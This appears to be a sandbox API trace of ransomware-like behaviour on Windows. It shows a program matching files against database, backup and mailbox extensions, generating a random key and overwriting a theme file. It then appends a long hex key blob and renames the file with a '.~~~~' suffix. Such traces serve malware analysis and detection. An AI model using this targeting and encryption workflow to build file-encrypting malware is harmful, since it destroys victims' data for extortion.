	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".DBV") returned 0x0
	[0085.826] lstrlenW (lpString=".dacpac") returned 7
	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".dacpac") returned 0x0
	[0085.826] lstrlenW (lpString=".sdf") returned 4
	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".sdf") returned 0x0
	[0085.826] lstrlenW (lpString=".accdb") returned 6
	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".accdb") returned 0x0
	[0085.826] lstrlenW (lpString=".DBX") returned 4
	[0085.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".DBX") returned 0x0
	[0085.827] lstrlenW (lpString=".MDT") returned 4
	[0085.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".MDT") returned 0x0
	[0085.827] lstrlenW (lpString=".SQB") returned 4
	[0085.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".SQB") returned 0x0
	[0085.827] lstrlenW (lpString=".vhd") returned 4
	[0085.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".vhd") returned 0x0
	[0085.827] lstrlenW (lpString=".bac") returned 4
	[0085.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".bac") returned 0x0
	[0085.827] lstrlenW (lpString=".mdf") returned 4
	[0085.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".mdf") returned 0x0
	[0085.827] lstrlenW (lpString=".BAK") returned 4
	[0085.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".BAK") returned 0x0
	[0085.827] lstrlenW (lpString=".BAC") returned 4
	[0085.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".BAC") returned 0x0
	[0085.827] lstrlenW (lpString=".dbs") returned 4
	[0085.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".dbs") returned 0x0
	[0085.827] lstrlenW (lpString=".vhdx") returned 5
	[0085.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".vhdx") returned 0x0
	[0085.827] lstrlenW (lpString=".NDF") returned 4
	[0085.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".NDF") returned 0x0
	[0085.827] lstrlenW (lpString=".dat") returned 4
	[0085.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".dat") returned 0x0
	[0085.827] lstrlenW (lpString=".DBS") returned 4
	[0085.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".DBS") returned 0x0
	[0085.827] lstrlenW (lpString=".CKP") returned 4
	[0085.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".CKP") returned 0x0
	[0085.827] lstrlenW (lpString=".edb") returned 4
	[0085.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".edb") returned 0x0
	[0085.827] lstrlenW (lpString=".PST") returned 4
	[0085.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".PST") returned 0x0
	[0085.828] lstrlenW (lpString=".dbf") returned 4
	[0085.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".dbf") returned 0x0
	[0085.828] lstrlenW (lpString=".SQL") returned 4
	[0085.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".SQL") returned 0x0
	[0085.828] lstrlenW (lpString=".pst") returned 4
	[0085.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".pst") returned 0x0
	[0085.828] lstrlenW (lpString=".dbv") returned 4
	[0085.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".dbv") returned 0x0
	[0085.828] lstrlenW (lpString=".SDF") returned 4
	[0085.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".SDF") returned 0x0
	[0085.828] lstrlenW (lpString=".dtxs") returned 5
	[0085.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".dtxs") returned 0x0
	[0085.828] lstrlenW (lpString=".db3") returned 4
	[0085.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".db3") returned 0x0
	[0085.828] lstrlenW (lpString=".OST") returned 4
	[0085.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".OST") returned 0x0
	[0085.828] lstrlenW (lpString=".dbx") returned 4
	[0085.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".dbx") returned 0x0
	[0085.828] lstrlenW (lpString=".DB3") returned 4
	[0085.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".DB3") returned 0x0
	[0085.828] lstrlenW (lpString=".DAT") returned 4
	[0085.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".DAT") returned 0x0
	[0085.828] lstrlenW (lpString=".VHDX") returned 5
	[0085.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".VHDX") returned 0x0
	[0085.828] lstrlenW (lpString=".ndf") returned 4
	[0085.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".ndf") returned 0x0
	[0085.828] lstrlenW (lpString=".DB") returned 3
	[0085.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".DB") returned 0x0
	[0085.828] lstrlenW (lpString=".sql") returned 4
	[0085.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".sql") returned 0x0
	[0085.828] lstrlenW (lpString=".MYD") returned 4
	[0085.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".MYD") returned 0x0
	[0085.829] lstrlenW (lpString=".DBT") returned 4
	[0085.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".DBT") returned 0x0
	[0085.829] lstrlenW (lpString=".ACCDB") returned 6
	[0085.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".ACCDB") returned 0x0
	[0085.829] lstrlenW (lpString=".fdb") returned 4
	[0085.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".fdb") returned 0x0
	[0085.829] lstrlenW (lpString=".bak") returned 4
	[0085.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".bak") returned 0x0
	[0085.829] lstrlenW (lpString=".myd") returned 4
	[0085.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".myd") returned 0x0
	[0085.829] lstrlenW (lpString=".DTXS") returned 5
	[0085.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".DTXS") returned 0x0
	[0085.829] lstrlenW (lpString=".ckp") returned 4
	[0085.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".ckp") returned 0x0
	[0085.829] lstrlenW (lpString=".dbt") returned 4
	[0085.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".dbt") returned 0x0
	[0085.829] lstrlenW (lpString=".db") returned 3
	[0085.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".db") returned 0x0
	[0085.829] lstrlenW (lpString=".TXT") returned 4
	[0085.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".TXT") returned 0x0
	[0085.829] lstrlenW (lpString=".MDF") returned 4
	[0085.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".MDF") returned 0x0
	[0085.829] lstrlenW (lpString=".bdb") returned 4
	[0085.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".bdb") returned 0x0
	[0085.830] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0085.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.830] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0085.831] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.831] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0085.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2826fd8
	[0085.831] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20582142267) returned 1
	[0085.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9cf964b0, dwHighDateTime=0x1d60e1e)) 
	[0085.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0085.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0085.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0085.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2bf0
	[0085.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2bf0 | out: hHeap=0x300000) returned 1
	[0085.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab960
	[0085.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab960 | out: hHeap=0x300000) returned 1
	[0085.832] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0085.832] GetLastError () returned 0x0
	[0085.832] GetLastError () returned 0x0
	[0085.832] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0085.832] GetLastError () returned 0x0
	[0085.832] GetLastError () returned 0x0
	[0085.836] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffe19, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.836] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1e7, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x1e7, lpOverlapped=0x0) returned 1
	[0085.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.836] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.836] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.837] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.837] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.837] CloseHandle (hObject=0x124) returned 1
	[0085.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0085.837] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf.~~~~")) returned 1
	[0085.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0085.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0085.840] GetLastError () returned 0x0
	[0085.840] RtlWakeConditionVariable () returned 0x365f70
	[0085.840] GetCurrentThreadId () returned 0x3a4
	[0085.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0085.841] lstrlenW (lpString=".cmd") returned 4
	[0085.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0085.841] lstrlenW (lpString=".dll") returned 4
	[0085.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0085.841] lstrlenW (lpString=".bat") returned 4
	[0085.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0085.841] lstrlenW (lpString=".cpl") returned 4
	[0085.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0085.841] lstrlenW (lpString=".sys") returned 4
	[0085.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0085.841] lstrlenW (lpString=".msc") returned 4
	[0085.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0085.841] lstrlenW (lpString=".com") returned 4
	[0085.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0085.841] lstrlenW (lpString=".lnk") returned 4
	[0085.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0085.841] lstrlenW (lpString=".msp") returned 4
	[0085.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0085.841] lstrlenW (lpString=".pif") returned 4
	[0085.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0085.841] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0085.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0085.845] lstrlenW (lpString=".sqb") returned 4
	[0085.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0085.845] lstrlenW (lpString=".ost") returned 4
	[0085.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0085.845] lstrlenW (lpString=".txt") returned 4
	[0085.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0085.845] lstrlenW (lpString=".mdt") returned 4
	[0085.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0085.845] lstrlenW (lpString=".BDB") returned 4
	[0085.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0085.845] lstrlenW (lpString=".eql") returned 4
	[0085.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0085.845] lstrlenW (lpString=".DBF") returned 4
	[0085.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0085.846] lstrlenW (lpString=".EQL") returned 4
	[0085.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0085.846] lstrlenW (lpString=".FDB") returned 4
	[0085.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0085.846] lstrlenW (lpString=".EDB") returned 4
	[0085.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0085.846] lstrlenW (lpString=".DACPAC") returned 7
	[0085.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0085.846] lstrlenW (lpString=".VHD") returned 4
	[0085.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0085.846] lstrlenW (lpString=".DBV") returned 4
	[0085.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0085.846] lstrlenW (lpString=".dacpac") returned 7
	[0085.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0085.846] lstrlenW (lpString=".sdf") returned 4
	[0085.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0085.846] lstrlenW (lpString=".accdb") returned 6
	[0085.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0085.846] lstrlenW (lpString=".DBX") returned 4
	[0085.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0085.846] lstrlenW (lpString=".MDT") returned 4
	[0085.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0085.846] lstrlenW (lpString=".SQB") returned 4
	[0085.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0085.846] lstrlenW (lpString=".vhd") returned 4
	[0085.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0085.847] lstrlenW (lpString=".bac") returned 4
	[0085.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0085.847] lstrlenW (lpString=".mdf") returned 4
	[0085.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0085.847] lstrlenW (lpString=".BAK") returned 4
	[0085.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0085.847] lstrlenW (lpString=".BAC") returned 4
	[0085.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0085.847] lstrlenW (lpString=".dbs") returned 4
	[0085.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0085.847] lstrlenW (lpString=".vhdx") returned 5
	[0085.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0085.847] lstrlenW (lpString=".NDF") returned 4
	[0085.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0085.847] lstrlenW (lpString=".dat") returned 4
	[0085.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0085.847] lstrlenW (lpString=".DBS") returned 4
	[0085.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0085.847] lstrlenW (lpString=".CKP") returned 4
	[0085.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0085.847] lstrlenW (lpString=".edb") returned 4
	[0085.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0085.847] lstrlenW (lpString=".PST") returned 4
